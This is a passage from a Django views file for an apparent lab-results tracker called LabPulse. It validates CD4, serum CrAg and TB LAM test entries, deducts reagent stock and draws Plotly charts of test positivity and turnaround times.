False\n\n if not date_of_testing:\n error_message = f\"Provide Testing date\"\n form.add_error('received_status', error_message)\n form.add_error('date_of_testing', error_message)\n return False\n\n if date_of_testing < date_of_collection:\n error_message = f\"Testing date is less than Collection date!\"\n form.add_error('date_of_testing', error_message)\n form.add_error('date_of_collection', error_message)\n return False\n if date_of_testing < date_sample_received:\n error_message = f\"Testing date is less than Receipt date!\"\n form.add_error('date_of_testing', error_message)\n form.add_error('date_sample_received', error_message)\n return False\n\n # Check date fields\n if date_of_testing > today:\n form.add_error('date_of_testing', \"Date of testing cannot be in the future.\")\n if date_of_collection > today:\n form.add_error('date_of_collection', \"Date of collection cannot be in the future.\")\n if date_sample_received > today:\n form.add_error('date_sample_received', \"Date of sample received cannot be in the future.\")\n\n if form.errors:\n # If there are any errors, return the form with the error messages\n return False\n\n if not cd4_count_results:\n error_message = f\"Provide CD4 count results\"\n form.add_error('received_status', error_message)\n form.add_error('cd4_count_results', error_message)\n return False\n\n if age > 5 and cd4_percentage:\n error_message = f\"CD4 % values ought to be for <=5yrs.\"\n form.add_error('age', error_message)\n form.add_error('cd4_percentage', error_message)\n return False\n if cd4_count_results <= 200 and not serum_crag_results and not reason_for_no_serum_crag:\n error_message = f\"Select a reason why serum CRAG was not done\"\n form.add_error('reason_for_no_serum_crag', error_message)\n form.add_error('cd4_count_results', error_message)\n form.add_error('serum_crag_results', error_message)\n return False\n\n if cd4_count_results > 200 and not serum_crag_results and reason_for_no_serum_crag:\n error_message = f\"Check if the information is correct\"\n form.add_error('reason_for_no_serum_crag', error_message)\n form.add_error('cd4_count_results', error_message)\n form.add_error('serum_crag_results', error_message)\n return False\n\n if serum_crag_results and reason_for_no_serum_crag:\n error_message = f\"Check if the information is correct\"\n form.add_error('reason_for_no_serum_crag', error_message)\n form.add_error('serum_crag_results', error_message)\n return False\n return True\n\n\ndef get_total_remaining_stocks(df, reagent_type):\n cd4_df = df[df['reagent_type'] == reagent_type]\n cd4_total_remaining = cd4_df.loc[cd4_df['reagent_type'] == reagent_type, 'total_remaining'].values[0]\n return cd4_total_remaining\n\n\ndef show_remaining_commodities(selected_lab):\n time_threshold = timezone.now() - timedelta(days=365)\n commodities = ReagentStock.objects.filter(facility_name__mfl_code=selected_lab.mfl_code,\n date_commodity_received__gte=time_threshold\n ).order_by(\"-date_commodity_received\")\n # Aggregate remaining quantities by reagent type\n remaining_commodities = commodities.values(\n 'reagent_type', 'date_commodity_received'\n ).annotate(total_remaining=Sum('remaining_quantity'))\n\n # Convert the remaining_commodities queryset to a list of dictionaries\n remaining_commodities_list = list(remaining_commodities)\n df = pd.DataFrame(remaining_commodities_list)\n if df.empty:\n reagent_types = ['Serum CrAg', 'TB LAM', 'CD4']\n total_remaining = [0, 0, 0]\n\n data = {\n 'reagent_type': reagent_types,\n 'date_commodity_received': pd.NaT,\n 'total_remaining': total_remaining\n }\n\n df = pd.DataFrame(data)\n naive_timestamp = pd.Timestamp(datetime(1970, 1, 1)) # A neutral date in the past\n df['date_commodity_received'] = pd.to_datetime(naive_timestamp, utc=True)\n\n # Convert the dates to your local timezone\n local_timezone = tzlocal.get_localzone()\n\n # Convert the dates to the local timezone\n df['date_commodity_received'] = df['date_commodity_received'].dt.tz_convert(local_timezone)\n\n # Find the minimum and maximum dates\n min_date = df['date_commodity_received'].min().date()\n max_date = df['date_commodity_received'].max().date()\n\n # Group by reagent type and sum the total remaining quantities\n df = df.groupby('reagent_type').sum(numeric_only=True)['total_remaining'].reset_index()\n\n # Remaining stocks\n try:\n cd4_total_remaining = get_total_remaining_stocks(df, 'CD4')\n except IndexError:\n cd4_total_remaining = 0\n try:\n tb_lam_total_remaining = get_total_remaining_stocks(df, 'TB LAM')\n except IndexError:\n tb_lam_total_remaining = 0\n try:\n crag_total_remaining = get_total_remaining_stocks(df, 'Serum CrAg')\n except IndexError:\n crag_total_remaining = 0\n\n if min_date == pd.Timestamp('1970-01-01'):\n title = f'Remaining commodities per reagent type'\n else:\n title = f'Remaining commodities per reagent type (Received between {min_date} - {max_date})'\n\n # Create a bar chart using Plotly Express\n fig = px.bar(df, x='reagent_type', y='total_remaining', text='total_remaining',\n labels={'reagent_type': 'Reagent Type', 'total_remaining': 'Reagents Remaining'},\n title=title, height=350,\n )\n # Set the font size of the x-axis and y-axis labels\n fig.update_layout(\n xaxis=dict(\n tickfont=dict(\n size=10\n ),\n title_font=dict(\n size=10\n )\n ),\n yaxis=dict(\n title_font=dict(\n size=12\n )\n ),\n legend=dict(\n font=dict(\n size=10\n )\n ),\n title=dict(\n # text=\"My Line Chart\",\n font=dict(\n size=12\n )\n )\n )\n commodity_status = plot(fig, include_plotlyjs=False, output_type=\"div\")\n return commodity_status, commodities, cd4_total_remaining, crag_total_remaining, tb_lam_total_remaining\n\n\ndef generate_commodity_error_message(commodity_name):\n return f\"{commodity_name} reagents are currently unavailable in the database. \" \\\n f\"Saving {commodity_name} results will not be possible. Please contact your laboratory supervisor for assistance \" \\\n f\"or proceed to add commodities to replenish the stock.\"\n\n\ndef validate_date_fields(form, date_fields):\n \"\"\"\n Validate date fields in a form.\n\n Args:\n form (Form): The form containing the date fields.\n date_fields (list): List of date field names to validate.\n\n Returns:\n bool: True if all date fields are valid, False otherwise.\n \"\"\"\n # Loop through each date field for validation\n for field_name in date_fields:\n # Get the date value from the cleaned data\n date_value = form.cleaned_data.get(field_name)\n if date_value:\n # Define the allowable date range\n min_date = date(1900, 1, 1) # Minimum allowable date\n max_date = date(3100, 12, 31) # Maximum allowable date\n # Check if the date is within the allowable range\n if not (min_date <= date_value <= max_date):\n # Add an error to the form for invalid date\n form.add_error(field_name, 'Please enter a valid date using datepicker.')\n\n # Check if any errors were added to the form\n if any(field_name in form.errors for field_name in date_fields):\n return False # Validation failed\n else:\n return True # Validation succeeded\n\n\ndef deduct_commodities(request, form, report_type, post, selected_lab, context, template_name):\n if report_type == \"Current\":\n # Check if CD4 test was performed\n cd4_count_results = form.cleaned_data['cd4_count_results']\n if cd4_count_results is not None:\n post.cd4_reagent_used = True\n\n # Check if TB LAM test was performed\n tb_lam_results = form.cleaned_data['tb_lam_results']\n if tb_lam_results is not None:\n post.tb_lam_reagent_used = True\n\n # Check if serum CRAG test was performed\n serum_crag_results = form.cleaned_data['serum_crag_results']\n if serum_crag_results is not None:\n post.serum_crag_reagent_used = True\n\n # Update reagent usage\n if post.cd4_reagent_used:\n if ReagentStock.objects.filter(reagent_type='CD4',\n facility_name__mfl_code=selected_lab.mfl_code,\n remaining_quantity__gt=0).exists():\n cd4_reagent_stock = ReagentStock.objects.filter(reagent_type='CD4',\n facility_name__mfl_code=selected_lab.mfl_code,\n remaining_quantity__gt=0).order_by(\n 'date_commodity_received').first()\n cd4_reagent_stock.quantity_used += 1\n cd4_reagent_stock.save()\n else:\n error_message = \"CD4 reagents are out of stock!\"\n messages.error(request, error_message)\n form.add_error('cd4_count_results', error_message)\n return render(request, template_name, context)\n if post.serum_crag_reagent_used:\n if ReagentStock.objects.filter(reagent_type='Serum CrAg',\n facility_name__mfl_code=selected_lab.mfl_code,\n remaining_quantity__gt=0).exists():\n serum_crag_reagent_stock = ReagentStock.objects.filter(reagent_type='Serum CrAg',\n facility_name__mfl_code=selected_lab.mfl_code,\n remaining_quantity__gt=0).order_by(\n 'date_commodity_received').first()\n serum_crag_reagent_stock.quantity_used += 1\n serum_crag_reagent_stock.save()\n else:\n error_message = \"Serum CrAg reagents are out of stock!\"\n messages.error(request, error_message)\n form.add_error('serum_crag_results', error_message)\n return render(request, template_name, context)\n if post.tb_lam_reagent_used:\n if ReagentStock.objects.filter(reagent_type='TB LAM',\n facility_name__mfl_code=selected_lab.mfl_code,\n remaining_quantity__gt=0).exists():\n tb_lam_reagent_stock = ReagentStock.objects.filter(reagent_type='TB LAM',\n facility_name__mfl_code=selected_lab.mfl_code,\n remaining_quantity__gt=0).order_by(\n 'date_commodity_received').first()\n tb_lam_reagent_stock.quantity_used += 1\n tb_lam_reagent_stock.save()\n else:\n error_message = \"LF-TB LAM reagents are out of stock!\"\n messages.error(request, error_message)\n form.add_error('tb_lam_results', error_message)\n return render(request, template_name, context)\n\n\ndef handle_commodity_errors(request, form, crag_total_remaining, tb_lam_total_remaining, template_name, context):\n serum_crag_results = form.cleaned_data.get('serum_crag_results')\n tb_lam_results = form.cleaned_data.get('tb_lam_results')\n\n if serum_crag_results is not None and crag_total_remaining == 0:\n error_message = \"ScrAg reagents are out of stock.\"\n form.add_error('serum_crag_results', error_message)\n return render(request, template_name, context)\n\n if tb_lam_results is not None and tb_lam_total_remaining == 0:\n error_message = \"LF TB LAM reagents are out of stock.\"\n form.add_error('tb_lam_results', error_message)\n return render(request, template_name, context)\n\n return None\n\n\n@login_required(login_url='login')\n@group_required(['laboratory_staffs_labpulse'])\ndef add_cd4_count(request, report_type, pk_lab):\n if not request.user.first_name:\n return redirect(\"profile\")\n if request.method == \"GET\":\n request.session['page_from'] = request.META.get('HTTP_REFERER', '/')\n selected_lab, created = Cd4TestingLabs.objects.get_or_create(id=pk_lab)\n template_name = 'lab_pulse/add_cd4_data.html'\n\n use_commodities = False\n enable_commodities = EnableDisableCommodities.objects.first()\n if enable_commodities and enable_commodities.use_commodities:\n use_commodities = True\n\n if report_type == \"Current\":\n form = Cd4trakerForm(request.POST or None)\n commodity_status, commodities, cd4_total_remaining, crag_total_remaining, tb_lam_total_remaining = \\\n show_remaining_commodities(selected_lab)\n context = {\n \"form\": form, \"report_type\": report_type, \"commodities\": commodities, \"use_commodities\": use_commodities,\n \"title\": f\"Add CD4 Results for {selected_lab.testing_lab_name.title()} (Testing Laboratory)\",\n \"commodity_status\": commodity_status,\n \"cd4_total_remaining\": cd4_total_remaining, \"tb_lam_total_remaining\": tb_lam_total_remaining,\n \"crag_total_remaining\": crag_total_remaining,\n }\n if use_commodities:\n if crag_total_remaining == 0:\n messages.error(request, generate_commodity_error_message(\"Serum CrAg\"))\n if tb_lam_total_remaining == 0:\n messages.error(request, generate_commodity_error_message(\"LF TB LAM\"))\n if cd4_total_remaining == 0:\n messages.error(request, generate_commodity_error_message(\"CD4\"))\n return render(request, template_name, context)\n else:\n crag_total_remaining = None\n tb_lam_total_remaining = None\n # Check if the user has the required permission\n if not request.user.has_perm('labpulse.view_add_retrospective_cd4_count'):\n # Redirect or handle the case where the user doesn't have the permission\n return HttpResponseForbidden(\"You don't have permission to access this form.\")\n form = Cd4trakerManualDispatchForm(request.POST or None)\n context = {\n \"form\": form, \"report_type\": report_type, \"use_commodities\": use_commodities,\n \"title\": f\"Add CD4 Results for {selected_lab.testing_lab_name.title()} (Testing Laboratory)\",\n }\n\n if request.method == \"POST\":\n if form.is_valid():\n post = form.save(commit=False)\n #################\n # Validate date\n #################\n date_fields_to_validate = ['date_of_collection', 'date_of_testing', 'date_sample_received']\n if not validate_date_fields(form, date_fields_to_validate):\n # Render the template with the form and errors\n return render(request, template_name, context)\n if not validate_cd4_count_form(form, report_type):\n # If validation fails, return the form with error messages\n return render(request, template_name, context)\n if report_type == \"Current\" and use_commodities:\n # Call the function to handle serum_crag_results and tb_lam_results errors\n error_response = handle_commodity_errors(request, form, crag_total_remaining, tb_lam_total_remaining,\n template_name, context)\n if error_response:\n return error_response # Render with errors if any\n selected_facility = form.cleaned_data['facility_name']\n\n facility_id = Facilities.objects.get(name=selected_facility)\n # https://stackoverflow.com/questions/14820579/how-to-query-directly-the-table-created-by-django-for-a-manytomany-relation\n all_subcounties = Sub_counties.facilities.through.objects.all()\n all_counties = Sub_counties.counties.through.objects.all()\n # loop\n sub_county_list = []\n for sub_county in all_subcounties:\n if facility_id.id == sub_county.facilities_id:\n # assign an instance to sub_county\n post.sub_county = Sub_counties(id=sub_county.sub_counties_id)\n sub_county_list.append(sub_county.sub_counties_id)\n for county in all_counties:\n if sub_county_list[0] == county.sub_counties_id:\n post.county = Counties.objects.get(id=county.counties_id)\n\n facility_name = Facilities.objects.filter(name=selected_facility).first()\n post.facility_name = facility_name\n post.testing_laboratory = Cd4TestingLabs.objects.filter(testing_lab_name=selected_lab).first()\n post.report_type = report_type\n ####################################\n # Deduct Commodities used\n ####################################\n if use_commodities:\n deduct_commodities(request, form, report_type, post, selected_lab, context, template_name)\n\n post.save()\n messages.error(request, \"Record saved successfully!\")\n # Generate the URL for the redirect\n url = reverse('add_cd4_count', kwargs={'report_type': report_type, 'pk_lab': pk_lab})\n return redirect(url)\n else:\n messages.error(request, f\"Record already exists.\")\n render(request, template_name, context)\n return render(request, template_name, context)\n\n\ndef update_commodities(request, form, post, report_type, pk, template_name, context):\n if report_type == \"Current\":\n ###################################################\n # Choose facility to update commodity records for #\n ###################################################\n item = Cd4traker.objects.get(id=pk)\n # DEDUCT FROM TESTING LABS\n facility_mfl_code_to_update = None\n if item.facility_name.mfl_code == item.testing_laboratory.mfl_code:\n # if request.user.groups.filter('laboratory_staffs_labpulse').exists():\n facility_mfl_code_to_update = item.testing_laboratory.mfl_code\n elif item.facility_name.mfl_code != item.testing_laboratory.mfl_code:\n if item.serum_crag_results != post.serum_crag_results:\n facility_mfl_code_to_update = item.testing_laboratory.mfl_code\n if item.tb_lam_results != post.tb_lam_results:\n if request.user.groups.filter(name='laboratory_staffs_labpulse').exists():\n facility_mfl_code_to_update = item.testing_laboratory.mfl_code\n # DEDUCT FROM REFERRING LABS\n elif request.user.groups.filter(name='referring_laboratory_staffs_labpulse').exists():\n facility_mfl_code_to_update = item.facility_name.mfl_code\n\n # Check for changes in reagent fields and update reagent usage flags\n\n # if not item.cd4_reagent_used:\n if post.cd4_count_results != item.cd4_count_results and item.cd4_reagent_used == False:\n post.cd4_reagent_used = True\n else:\n post.cd4_reagent_used = item.cd4_reagent_used\n\n # if not item.tb_lam_reagent_used:\n if post.tb_lam_results != item.tb_lam_results and item.tb_lam_reagent_used == False:\n post.tb_lam_reagent_used = True\n else:\n post.tb_lam_reagent_used = item.tb_lam_reagent_used\n\n # if not item.serum_crag_reagent_used:\n if post.serum_crag_results != item.serum_crag_results and item.serum_crag_reagent_used == False:\n post.serum_crag_reagent_used = True\n else:\n post.serum_crag_reagent_used = item.serum_crag_reagent_used\n\n # Update reagent usage flags\n # Check if any reagent type has been used and not tracked before\n\n if item.cd4_reagent_used != post.cd4_reagent_used:\n if ReagentStock.objects.filter(reagent_type='CD4',\n facility_name__mfl_code=facility_mfl_code_to_update).exists():\n cd4_reagent_stock = ReagentStock.objects.filter(reagent_type='CD4',\n facility_name__mfl_code=facility_mfl_code_to_update,\n remaining_quantity__gt=0\n ).order_by('date_commodity_received').first()\n cd4_reagent_stock.quantity_used += 1\n cd4_reagent_stock.save()\n else:\n messages.error(request,\n \"CD4 reagents are currently unavailable. The operation cannot be completed. \"\n \"Please contact your laboratory supervisor for assistance or proceed to add \"\n \"commodities to replenish the stock.\")\n error_message = \"CD4 reagents are out of stock!\"\n # messages.error(request, error_message)\n form.add_error('cd4_count_results', error_message)\n return render(request, template_name, context)\n if item.serum_crag_reagent_used != post.serum_crag_reagent_used:\n if ReagentStock.objects.filter(reagent_type='Serum CrAg',\n facility_name__mfl_code=facility_mfl_code_to_update,\n remaining_quantity__gt=0\n ).exists():\n serum_crag_reagent_stock = ReagentStock.objects.filter(reagent_type='Serum CrAg',\n facility_name__mfl_code=facility_mfl_code_to_update,\n remaining_quantity__gt=0\n ).order_by(\n 'date_commodity_received').first()\n serum_crag_reagent_stock.quantity_used += 1\n serum_crag_reagent_stock.save()\n else:\n messages.error(request,\n \"Serum CrAg reagents are currently unavailable. The operation cannot be \"\n \"completed. Please contact your laboratory supervisor for assistance or proceed\"\n \" to add commodities to replenish the stock.\")\n error_message = \"Serum CrAg reagents are out of stock!\"\n # messages.error(request, error_message)\n form.add_error('serum_crag_results', error_message)\n return render(request, template_name, context)\n if item.tb_lam_reagent_used != post.tb_lam_reagent_used:\n if ReagentStock.objects.filter(reagent_type='TB LAM',\n facility_name__mfl_code=facility_mfl_code_to_update).exists():\n tb_lam_reagent_stock = ReagentStock.objects.filter(reagent_type='TB LAM',\n facility_name__mfl_code=facility_mfl_code_to_update,\n remaining_quantity__gt=0\n ).order_by('date_commodity_received').first()\n tb_lam_reagent_stock.quantity_used += 1\n tb_lam_reagent_stock.save()\n else:\n messages.error(request,\n \"LF TB LAM reagents are currently unavailable. The operation cannot be completed. \"\n \"Please contact your laboratory supervisor for assistance or proceed to add \"\n \"commodities to replenish the stock.\")\n error_message = \"LF TB LAM reagents are out of stock!\"\n # messages.error(request, error_message)\n form.add_error('tb_lam_results', error_message)\n return render(request, template_name, context)\n\n\n@login_required(login_url='login')\n@group_required(['laboratory_staffs_labpulse', 'referring_laboratory_staffs_labpulse'])\ndef update_cd4_results(request, report_type, pk):\n if not request.user.first_name:\n return redirect(\"profile\")\n if request.method == \"GET\":\n request.session['page_from'] = request.META.get('HTTP_REFERER', '/')\n item = Cd4traker.objects.get(id=pk)\n if report_type == \"Current\":\n commodity_status, commodities, cd4_total_remaining, crag_total_remaining, tb_lam_total_remaining = \\\n show_remaining_commodities(item.facility_name)\n else:\n commodity_status = None\n # commodities = None\n cd4_total_remaining = 0\n crag_total_remaining = 0\n tb_lam_total_remaining = 0\n\n # Fetch the first instance of EnableDisableCommodities\n enable_commodities = EnableDisableCommodities.objects.first()\n # Check if commodities should be enabled or disabled\n if enable_commodities and enable_commodities.use_commodities:\n use_commodities = True\n else:\n use_commodities = False\n template_name = 'lab_pulse/update results.html'\n if request.method == \"POST\":\n if report_type == \"Current\":\n form = Cd4trakerForm(request.POST, instance=item, user=request.user)\n else:\n # Check if the user has the required permission\n if not request.user.has_perm('labpulse.view_add_retrospective_cd4_count'):\n # Redirect or handle the case where the user doesn't have the permission\n return HttpResponseForbidden(\"You don't have permission to access this form.\")\n form = Cd4trakerManualDispatchForm(request.POST, instance=item)\n if form.is_valid():\n context = {\n \"form\": form, \"report_type\": report_type, \"use_commodities\": use_commodities,\n \"title\": \"Update Results\", \"commodity_status\": commodity_status,\n \"cd4_total_remaining\": cd4_total_remaining, \"tb_lam_total_remaining\": tb_lam_total_remaining,\n \"crag_total_remaining\": crag_total_remaining,\n }\n # template_name = 'lab_pulse/add_cd4_data.html'\n post = form.save(commit=False)\n #################\n # Validate date\n #################\n date_fields_to_validate = ['date_of_collection', 'date_of_testing', 'date_sample_received']\n if not validate_date_fields(form, date_fields_to_validate):\n # Render the template with the form and errors\n return render(request, template_name, context)\n facility_name = form.cleaned_data['facility_name']\n if not validate_cd4_count_form(form, report_type):\n # If validation fails, return the form with error messages\n return render(request, template_name, context)\n if report_type == \"Current\" and use_commodities:\n # Call the function to handle serum_crag_results and tb_lam_results errors\n error_response = handle_commodity_errors(request, form, crag_total_remaining, tb_lam_total_remaining,\n template_name, context)\n if error_response:\n return error_response # Render with errors if any\n\n facility_id = Facilities.objects.get(name=facility_name)\n # https://stackoverflow.com/questions/14820579/how-to-query-directly-the-table-created-by-django-for-a-manytomany-relation\n all_subcounties = Sub_counties.facilities.through.objects.all()\n all_counties = Sub_counties.counties.through.objects.all()\n # loop\n sub_county_list = []\n for sub_county in all_subcounties:\n if facility_id.id == sub_county.facilities_id:\n # assign an instance to sub_county\n post.sub_county = Sub_counties(id=sub_county.sub_counties_id)\n sub_county_list.append(sub_county.sub_counties_id)\n for county in all_counties:\n if sub_county_list[0] == county.sub_counties_id:\n post.county = Counties.objects.get(id=county.counties_id)\n #############################\n # Update Commodities used\n #############################\n if use_commodities:\n # update_commodities(request, form, report_type,post, pk, template_name, context)\n if report_type == \"Current\":\n ###################################################\n # Choose facility to update commodity records for #\n ###################################################\n item = Cd4traker.objects.get(id=pk)\n # DEDUCT FROM TESTING LABS\n facility_mfl_code_to_update = None\n if item.facility_name.mfl_code == item.testing_laboratory.mfl_code:\n # if request.user.groups.filter('laboratory_staffs_labpulse').exists():\n facility_mfl_code_to_update = item.testing_laboratory.mfl_code\n elif item.facility_name.mfl_code != item.testing_laboratory.mfl_code:\n if item.serum_crag_results != post.serum_crag_results:\n facility_mfl_code_to_update = item.testing_laboratory.mfl_code\n if item.tb_lam_results != post.tb_lam_results:\n if request.user.groups.filter(name='laboratory_staffs_labpulse').exists():\n facility_mfl_code_to_update = item.testing_laboratory.mfl_code\n # DEDUCT FROM REFERRING LABS\n elif request.user.groups.filter(name='referring_laboratory_staffs_labpulse').exists():\n facility_mfl_code_to_update = item.facility_name.mfl_code\n\n # Check for changes in reagent fields and update reagent usage flags\n\n # if not item.cd4_reagent_used:\n if post.cd4_count_results != item.cd4_count_results and item.cd4_reagent_used == False:\n post.cd4_reagent_used = True\n else:\n post.cd4_reagent_used = item.cd4_reagent_used\n\n # if not item.tb_lam_reagent_used:\n if post.tb_lam_results != item.tb_lam_results and item.tb_lam_reagent_used == False:\n post.tb_lam_reagent_used = True\n else:\n post.tb_lam_reagent_used = item.tb_lam_reagent_used\n\n # if not item.serum_crag_reagent_used:\n if post.serum_crag_results != item.serum_crag_results and item.serum_crag_reagent_used == False:\n post.serum_crag_reagent_used = True\n else:\n post.serum_crag_reagent_used = item.serum_crag_reagent_used\n\n # Update reagent usage flags\n # Check if any reagent type has been used and not tracked before\n\n if item.cd4_reagent_used != post.cd4_reagent_used:\n if ReagentStock.objects.filter(reagent_type='CD4',\n facility_name__mfl_code=facility_mfl_code_to_update).exists():\n cd4_reagent_stock = ReagentStock.objects.filter(reagent_type='CD4',\n facility_name__mfl_code=facility_mfl_code_to_update,\n remaining_quantity__gt=0\n ).order_by(\n 'date_commodity_received').first()\n cd4_reagent_stock.quantity_used += 1\n cd4_reagent_stock.save()\n else:\n messages.error(request,\n \"CD4 reagents are currently unavailable. The operation cannot be completed. \"\n \"Please contact your laboratory supervisor for assistance or proceed to add \"\n \"commodities to replenish the stock.\")\n error_message = \"CD4 reagents are out of stock!\"\n # messages.error(request, error_message)\n form.add_error('cd4_count_results', error_message)\n return render(request, template_name, context)\n if item.serum_crag_reagent_used != post.serum_crag_reagent_used:\n if ReagentStock.objects.filter(reagent_type='Serum CrAg',\n facility_name__mfl_code=facility_mfl_code_to_update,\n remaining_quantity__gt=0\n ).exists():\n serum_crag_reagent_stock = ReagentStock.objects.filter(reagent_type='Serum CrAg',\n facility_name__mfl_code=facility_mfl_code_to_update,\n remaining_quantity__gt=0\n ).order_by(\n 'date_commodity_received').first()\n serum_crag_reagent_stock.quantity_used += 1\n serum_crag_reagent_stock.save()\n else:\n messages.error(request,\n \"Serum CrAg reagents are currently unavailable. The operation cannot be \"\n \"completed. Please contact your laboratory supervisor for assistance or proceed\"\n \" to add commodities to replenish the stock.\")\n error_message = \"Serum CrAg reagents are out of stock!\"\n # messages.error(request, error_message)\n form.add_error('serum_crag_results', error_message)\n return render(request, template_name, context)\n if item.tb_lam_reagent_used != post.tb_lam_reagent_used:\n if ReagentStock.objects.filter(reagent_type='TB LAM',\n facility_name__mfl_code=facility_mfl_code_to_update).exists():\n tb_lam_reagent_stock = ReagentStock.objects.filter(reagent_type='TB LAM',\n facility_name__mfl_code=facility_mfl_code_to_update,\n remaining_quantity__gt=0\n ).order_by(\n 'date_commodity_received').first()\n tb_lam_reagent_stock.quantity_used += 1\n tb_lam_reagent_stock.save()\n else:\n messages.error(request,\n \"LF TB LAM reagents are currently unavailable. The operation cannot be completed. \"\n \"Please contact your laboratory supervisor for assistance or proceed to add \"\n \"commodities to replenish the stock.\")\n error_message = \"LF TB LAM reagents are out of stock!\"\n # messages.error(request, error_message)\n form.add_error('tb_lam_results', error_message)\n return render(request, template_name, context)\n post.save()\n messages.error(request, \"Record updated successfully!\")\n return HttpResponseRedirect(request.session['page_from'])\n else:\n if report_type == \"Current\":\n form = Cd4trakerForm(instance=item, user=request.user)\n else:\n # Check if the user has the required permission\n if not request.user.has_perm('labpulse.view_add_retrospective_cd4_count'):\n # Redirect or handle the case where the user doesn't have the permission\n return HttpResponseForbidden(\"You don't have permission to access this form.\")\n form = Cd4trakerManualDispatchForm(instance=item)\n # cd4_total_remaining=0\n context = {\n \"form\": form, \"report_type\": report_type, \"use_commodities\": use_commodities,\n \"title\": \"Update Results\", \"commodity_status\": commodity_status, \"cd4_total_remaining\": cd4_total_remaining,\n \"tb_lam_total_remaining\": tb_lam_total_remaining,\n \"crag_total_remaining\": crag_total_remaining,\n }\n return render(request, 'lab_pulse/update results.html', context)\n\n\ndef pagination_(request, item_list, record_count=None):\n page = request.GET.get('page', 1)\n if record_count is None:\n record_count = request.GET.get('record_count', '5')\n else:\n record_count = record_count\n\n if record_count == 'all':\n return item_list\n else:\n paginator = Paginator(item_list, int(record_count))\n try:\n items = paginator.page(page)\n except PageNotAnInteger:\n items = paginator.page(1)\n except EmptyPage:\n items = paginator.page(paginator.num_pages)\n return items\n\n\ndef calculate_positivity_rate(df, column_name, title):\n # Filter the DataFrame for rows with valid results\n filtered_df = df[df[column_name].notna()]\n\n # Calculate the number of tests done\n num_tests_done = len(filtered_df)\n\n # Calculate the number of samples positive\n num_samples_positive = (filtered_df[column_name] == 'Positive').sum()\n num_samples_negative = (filtered_df[column_name] == 'Negative').sum()\n\n # Calculate the positivity rate\n try:\n positivity_rate = round(num_samples_positive / num_tests_done * 100, 1)\n except ZeroDivisionError:\n positivity_rate = 0\n\n # Create the new DataFrame\n positivity_df = pd.DataFrame({\n f'Number of {title} Tests Done': [num_tests_done],\n 'Number of Samples Positive': [num_samples_positive],\n 'Number of Samples Negative': [num_samples_negative],\n f'{title} Positivity (%)': [positivity_rate]\n })\n positivity_df = positivity_df.T.reset_index().fillna(0)\n positivity_df.columns = ['variables', 'values']\n positivity_df = positivity_df[positivity_df['values'] != 0]\n fig = bar_chart(positivity_df, \"variables\", \"values\", f\"{title} Testing Results\", color='variables')\n\n return fig, positivity_df\n\n\ndef line_chart_median_mean(df, x_axis, y_axis, title, color=None):\n df = df.copy()\n df = df.tail(52)\n mean_sample_tested = sum(df[y_axis]) / len(df[y_axis])\n median_sample_tested = df[y_axis].median()\n\n fig = px.line(df, x=x_axis, y=y_axis, text=y_axis, color=color,\n height=450,\n title=title)\n y = int(mean_sample_tested)\n x = int(median_sample_tested)\n fig.update_xaxes(showgrid=False)\n fig.update_yaxes(showgrid=False)\n fig.update_layout({\n 'plot_bgcolor': 'rgba(0, 0, 0, 0)',\n 'paper_bgcolor': 'rgba(0, 0, 0, 0)',\n })\n fig.update_traces(textposition='top center')\n if 'TAT type' not in df.columns:\n fig.add_shape(type='line', x0=df[x_axis].min(), y0=y,\n x1=df[x_axis].max(),\n y1=y,\n line=dict(color='red', width=2, dash='dot'))\n\n fig.add_annotation(x=df[x_axis].max(), y=y,\n text=f\"Mean weekly CD4 count collection {y}\",\n showarrow=True, arrowhead=1,\n font=dict(size=8, color='red'))\n fig.add_shape(type='line', x0=df[x_axis].min(), y0=x,\n x1=df[x_axis].max(),\n y1=x,\n line=dict(color='black', width=2, dash='dot'))\n\n fig.add_annotation(x=df[x_axis].min(), y=x,\n text=f\"Median weekly CD4 count collection {x}\",\n showarrow=True, arrowhead=1,\n font=dict(size=8, color='black'))\n else:\n fig.update_layout(legend=dict(\n orientation=\"h\",\n yanchor=\"bottom\",\n y=1.02,\n xanchor=\"right\",\n x=1\n ))\n\n # Set the font size of the x-axis and y-axis labels\n fig.update_layout(\n xaxis=dict(\n tickfont=dict(\n size=10\n ),\n title_font=dict(\n size=10\n )\n ),\n yaxis=dict(\n title_font=dict(\n size=10\n )\n ),\n legend=dict(\n font=dict(\n size=10\n )\n ),\n title=dict(\n # text=\"My Line Chart\",\n font=dict(\n size=12\n )\n )\n )\n return plot(fig, include_plotlyjs=False, output_type=\"div\")\n\n\ndef create_summary_chart(data, column_name, title):\n unique_values = data[column_name].unique()\n unique_values = unique_values[~pd.isnull(unique_values)]\n\n summary_df = pd.DataFrame({\n column_name: unique_values,\n 'Count': [(data[column_name] == value).sum() for value in unique_values]\n }).sort_values('Count')\n\n total = summary_df['Count'].sum()\n fig = bar_chart(summary_df, column_name, 'Count', f\"{title} N={total}\")\n\n return fig, summary_df\n\n\ndef calculate_weekly_tat(df):\n \"\"\"\n Calculate weekly mean Turnaround Time (TAT) for different types and reshape the data.\n\n Parameters:\n df (DataFrame): Input DataFrame containing relevant columns.\n\n Returns:\n DataFrame: Reshaped DataFrame with weekly mean TAT values.\n \"\"\"\n # Convert date columns to datetime\n df['Date Dispatch'] = pd.to_datetime(df['Date Dispatch'])\n df['Collection Date'] = pd.to_datetime(df['Collection Date'])\n df['Received date'] = pd.to_datetime(df['Received date'])\n\n # Calculate TAT values in days\n df['sample TAT (c-d)'] = (df['Date Dispatch'] - df['Collection Date']).dt.days\n df['sample TAT (c-r)'] = (df['Received date'] - df['Collection Date']).dt.days\n\n # Group by week_start and calculate mean TAT\n df['week_start'] = df['Collection Date'].dt.to_period('W').dt.start_time\n weekly_tat_df = df.groupby('week_start').mean(numeric_only=True)[\n ['sample TAT (c-d)', 'sample TAT (c-r)']].reset_index()\n weekly_tat_df['Mean weekly TAT(C-D)'] = weekly_tat_df['sample TAT (c-d)'].round()\n weekly_tat_df['Mean weekly TAT(C-R)'] = weekly_tat_df['sample TAT (c-r)'].round()\n\n # Calculate means\n mean_c_d = round(weekly_tat_df.loc[:, 'Mean weekly TAT(C-D)'].mean())\n mean_c_r = round(weekly_tat_df.loc[:, 'Mean weekly TAT(C-R)'].mean())\n\n # Drop unnecessary columns\n weekly_tat_df.drop(columns=['sample TAT (c-d)', 'sample TAT (c-r)'], inplace=True)\n weekly_tat_df = weekly_tat_df.sort_values(\"week_start\").fillna(0)\n weekly_tat_df['Weekly Trend'] = weekly_tat_df[\"week_start\"].astype(str) + \".\"\n\n # Reshape the DataFrame using melt\n weekly_tat = pd.melt(\n weekly_tat_df,\n id_vars=['Weekly Trend'],\n 